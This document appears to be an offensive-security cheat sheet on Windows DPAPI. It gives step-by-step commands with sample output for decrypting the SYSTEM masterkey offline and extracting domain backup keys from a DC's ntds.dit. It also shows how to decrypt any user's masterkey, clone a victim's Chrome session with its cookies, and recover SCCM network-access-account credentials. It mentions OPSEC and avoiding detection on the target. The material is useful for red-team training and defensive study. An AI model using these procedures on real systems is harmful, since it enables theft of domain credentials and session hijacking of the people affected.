DPAPI
Table of content
Decrypt SYSTEM DPAPI
Locate the keys
Some secrets can be encrypted using the SYSTEM DPAPI
. While it is easily possible to decrypt them using Mimikatz
directly on the computer, doing it offline can be more challenging.
When a secret is encrypted with the SYSTEM DPAPI
, the secret is encrypted with the system masterkey that is usually stored at C:\Windows\System32\Microsoft\Protect\S-1-5-18\User
.
If looking at this folder return an empty folder, use the dir /a:s
command in cmd
or the Get-ChildItem -Force
in PowerShell
.
This folder will contain several keys. The Preferred
file can be used to locate the masterkey currently in use. You can use the Format-Hex ./Preferred
command to display the content as hexdump and retrieve the key GUID
:
Format-Hex .\Preferred
# 00000000 EF F9 52 4D CD 5F 2A 41 97 0E 3E 38 1F E6 AE F6 ïùRMÍ_*A.>8.æ®ö
# 00000010 40 18 40 AC 81 02 DB 01 @.@¬.Û.
#
# > GUID in use : 4d52f9ef-5fcd-412a-970e-3e381fe6aef6
You can also retrieve the masterkey used to encrypt the file using the Impacket dpapi.py
script:
dpapi.py unprotect -file ${fileToDecrypt}
# Impacket v0.12.0.dev1+20240606.111452.d71f4662 - Copyright 2023 Fortra
#
# [BLOB]
# Version : 1 (1)
# Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB
# MasterKeyVersion : 1 (1)
# Guid MasterKey : 7EEC2875-F02F-432E-A5E4-3E4D3479F0D9
# Flags : 0 ()
# Description :
# CryptAlgo : 00006610 (26128) (CALG_AES_256)
# Salt : b'48c2af78577ed48850b3347b0a94524d4d40a562732cefb600dfbfdbeb726125'
# HMacKey : b''
# HashAlgo : 0000800e (32782) (CALG_SHA_512)
# HMac : b'a631427c5b4508c2b7c1efe36d38b565dfe81d842f730591f935ae98201a1a15'
# Data : b'95318def41a01b51a119c7dca5b61f4d6a240b8cbd4918ad89c8d9c4b7e7f2badb5c6afd0485202f2c86450ba46e4136'
# Sign : b'8e0c1173d2ffce59feb7271dba95e5ef6f1c80b63f0b76936fd5bd8fa23b69ac9f1d9c75b255f54f72f7261a7dec7e8811801851d007d6f0cf25cc8d3523e6ac'
Decrypt the keys
As every DPAPI
masterkeys, the SYSTEM
masterkey is encrypted using a specific secret. But instead of using the user password as for the users DPAPI masterkeys, the SYSTEM
masterkey is encrypted using a value stored in the LSA
secrets.
So, you can extract the SAM
, SECURITY
and SYSTEM
and use secretsdump
or mimikatz
to retrieve the values in the DPAPI_SYSTEM
field.
Once you have this value, you can decrypt your masterkey using the impacket dpapi.py
script:
dpapi.py masterkey -file 4d52f9ef-5fcd-412a-970e-3e381fe6aef6 -key ${keyFromSecretsdump}
# [MASTERKEYFILE]
# Version : 2 (2)
# Guid : 7eec2875-f02f-432e-a5e4-3e4d3479f0d9
# Flags : 6 (6)
# Policy : 0 (0)
# MasterKeyLen: 000000b0 (176)
# BackupKeyLen: 00000090 (144)
# CredHistLen : 00000014 (20)
# DomainKeyLen: 00000000 (0)
#
# Decrypted key with key provided
# Decrypted key: 0x1e504fbe22c77e6[...]
Decrypt the files
The decrypted key can then be used to decrypt the encrypted file:
python examples/dpapi.py unprotect -file ${fileToDecrypt} -key ${plainTextMasterKey}
# Impacket v0.12.0.dev1+20240606.111452.d71f4662 - Copyright 2023 Fortra
#
# Successfully decrypted data
# 0000 2E 00 5C 00 61 00 64 00 6D 00 69 00 6E 00 69 00 ..\.a.d.m.i.n.i.
# 0010 73 00 74 00 72 00 61 00 74 00 6F 00 72 00 00 00 s.t.r.a.t.o.r...
Domain backup keys
Retrieve the key
You can retrieve the key by using Mimikatz
directly on the DC
but that's not really OPSEC
.
Let’s do it offline. First, you have to retrieve the SYSTEM
hive on the DC
as well as the ntds.dit
file.
Then, you can use the DSInternals
module to extract the key:
Import-Module DSinternals
Get-BootKey -SystemHiveFilePath 'SYSTEM'
Get-ADDBBackupKey -DBPath 'ntds.dit' -BootKey ${BOOTKEY} | Save-DPAPIBlob -DirectoryPath .\Keys
If you got an error telling that the database is not in the right state try running the following commands:
esentutl /p ntds.dit
esentutl /d ntds.dit
If these commands return an error saying that a DLL is missing you have two choices:
- usually the process is complete even if the error is raised, try running
Get-ADDBBackupKey
again - try running them on a DC (a lab DC is enough, do not run it on the targeted DC)
You should have the DC private keys in the Keys
folder.
Decrypt a user key
The Backup Key
can be used to decrypt any other masterkey in the domain.
First you need to export the user key from his directory %APPDATA%\Microsoft\Protect\${SID}
. This can be done by using the PowerShell Base64
module:
[Convert]::ToBase64String([IO.File]::ReadAllBytes(${filename}))
Check that the key has been well exported by describing it:
dpapi.py masterkey -file masterkey.bin
Then, you can decrypt the masterkey using the DC backup key:
# Mimikatz
dpapi::masterkey /in:${masterKey} /pvk:${backupKey.pvk}
Clone Chrome Session
The Chrome session files are encrypted using the DPAPI. In fact, the cookies are encrypted using an AES key that is encrypted using the DPAPI.
The easiest way to clone a Chrome Session is to retrieve the C:\Users\${User}\AppData\Local\Google\Chrome\User Data\
folder. Clone this folder on your attack VM on the same folder.
Then, decrypt the user DPAPI masterkey as explained before.
Finally, you can use Mimikatz
to generate the masterkey file on your computer:
dpapi::create /guid:${masterKeyGUID} /key:${masterKeyValue} /password:${yourVMUserPassword} /protected
# MasterKeyGUID: can be retrieved by describing the stolen masterkey
# MasterKeyValue : the decrypted key retrieved
# yourVMUserPassword : the password of the user you are using on your attack VM and not the password of the targeted user
This command will create a new hidden file named as the masterkey GUID. Check your directory with Get-ChildItem -Force
.
Then copy this masterkey in your masterkey directory:
xcopy /H ${GUID} %AppData%\Microsoft\Protect\${SID}
Then launch Chrome
. All the cookies should be loaded !
SCCM NAA
If you retrieved the SCCM
policy on a compromised machine, you can decrypt the NAA
information offline.
First, retrieve the SYSTEM DPAPI
masterkey as explained before.
Copy the NAA encrypted value with the following powershell:
$str = "060100000100000[...]6AC"
$bytes = for($i=0; $i -lt $str.Length; $i++) {[byte]::Parse($str.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber); $i++}
$b64 = [Convert]::ToBase64String($bytes[4..$bytes.Length])
Then write it in a file:
echo ${base64} | base64 -d > secret.bin
Then, decrypt the secret using Impacket:
dpapi.py unprotect -file secret.bin -key ${systemMasterKey}